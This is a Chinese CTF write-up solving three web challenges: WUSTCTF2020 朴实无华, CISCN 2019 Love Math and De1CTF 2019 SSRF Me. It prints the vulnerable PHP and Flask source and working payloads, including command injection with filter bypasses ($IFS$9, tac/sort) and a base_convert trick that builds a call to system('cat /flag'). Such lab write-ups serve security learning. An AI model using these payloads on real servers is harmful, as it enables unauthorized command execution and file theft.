[WUSTCTF2020]朴实无华
robots.txt发现提示,抓包/fAke_f1agggg.php,发现 访问/fl4g.php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶屾鎱�, 鏈夐挶浜虹殑蹇箰寰寰灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
中文全是乱码。。。应该是编码方式的问题。。问题不大,不影响我做题
我们需要通过level1和level2并最终拿到flag
首先看一下level1
get一个num,要比2020小,加一还要比2021大emmm
他这里用到了intval,那就找找有没有这个函数的一些特性可以利用
度娘到这玩意处理科学计数法的时候会有一些问题
intval(1e3)是1000没有问题,但是处理intval(‘1e3’)的时候会被当成字符串返回1,而如果是intval(‘1e3’+1)又会把括号里面强行又变回数字,返回1001。
本地试一下 所以get传参?num=‘1e5’
第二个level,啥玩应md5之后还是自己,注意是两个等号,弱类型比较
emmmmmm找一个md5前后都是0e的?
找到了0e215962017
老规矩,本地试试
抬走,下一个
查找$get_flag中空格第一次出现的地方并返回剩下的部分,并且把cat替换为wctf2020然后执行命令
ls先看看有啥文件
payload:
http://a6ee1abc-7b2d-4873-a290-fdf885d59426.node4.buuoj.cn:81/fl4g.php?num=1e5&md5=0e215962017&get_flag=ls
flag应该在那个好长的文件里
cat不让用,我们用tac、sort都可以,空格用$IFS$9 替换(解决了bp传参的时候穿不了带空格的值的问题)
payload:
http://a6ee1abc-7b2d-4873-a290-fdf885d59426.node4.buuoj.cn:81/fl4g.php?num=1e5&md5=0e215962017&get_flag=sort$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
拿来吧你
[CISCN 2019 初赛]Love Math
<?php
error_reporting(0);
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
eval('echo '.$content.';');
}
传参c不能超过80,并且过滤了这些字符
' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'
中括号可以使用花括号代替
并且必须使用白名单中的变量名
构造命令执行
c=($_GET[a])($_GET[b])&a=system&b=cat /flag
a、b是不能出现的因为不在白名单里,但是可以用变量覆盖来绕过,那么就变成了怎么构造_GET的问题了,hex2bin函数可以将16进制转换为字符串,但是hex2bin不在白名单里面,所有hex2bin本身也需要构造。我们可以利用base_convert函数来得到hex2bin,base_convert(37907361743,10,36)=hex2bin,要转换的源16进制我们可以用白名单中的dechex来得到。
所以构造之后为:
base_convert(37907361743,10,36)(dechex(1598506324))
把这个字符串替代_GET即可,为了让他简短一点我们用一个变量来保存这个字符串,选用比较短的pi
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{cos})&pi=system&cos=cat /flag
[De1CTF 2019]SSRF Me
整理源码
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
创建了一个Task类,几个函数,几个路由
geneSign路由:
获取get方法传入的param参数,并且令action = “scan”,调用了getSign函数
跟进到getSign函数,返回了(secert_key + param + action)的md5值
De1ta路由:
通过get方法传入参数param,在cookie中传入参数action和sign,其中param参数需要过waf,跟进waf函数,禁用了gopher和file协议。过waf之后再用参数创建一个task对象,并执行Exec函数
在Exec函数中,如果checkSign成功,下面有两个if。
第一个if:如果self.action中有scan,就会把传入的param参数写到resp里面进而写到result.txt里面
第二个if:如果self.action里面有read,那么就把result.txt里面的读取并存到result[‘data’]中,并且在最后还返回了result。前面提到De1ta路由中challenge函数最后执行了Exec函数并且返回了json.dumps(task.Exec())到客户端,也就是result。
注意在两个if中,判断条件用的都是‘in’而不是等号,也就是说我们传入的action中既有scan又有read的话,我们就可以先在scan部分把flag.txt存到result.txt中再在read部分中读取出来,就可以得到flag.txt,也就是说action应该是readscan或者scanread的形式。
想要达到这个目的,还要checkSign成功,跟进checkSign,条件是getSign(self.action, self.param) == self.sign,再次跟进getSign,hashlib.md5(secert_key + param + action).hexdigest(),也就是说,只需要让
md5(secert_key + param + action)等于self.sign,secret_key我们是不知道的,在getSign中action是固定的是scan,param为flag.txt。
我们想得到key+flag.txt+readscan或者key+flag.txt+scanread的md5值,但是因为key未知而无法得到。但是在geneSign中我们可以得到key+param+scan的md5值,并且param可控,所以在geneSign中我们令param为flag.txtread就可以得到key+flag.txt+scanread的md5值。
|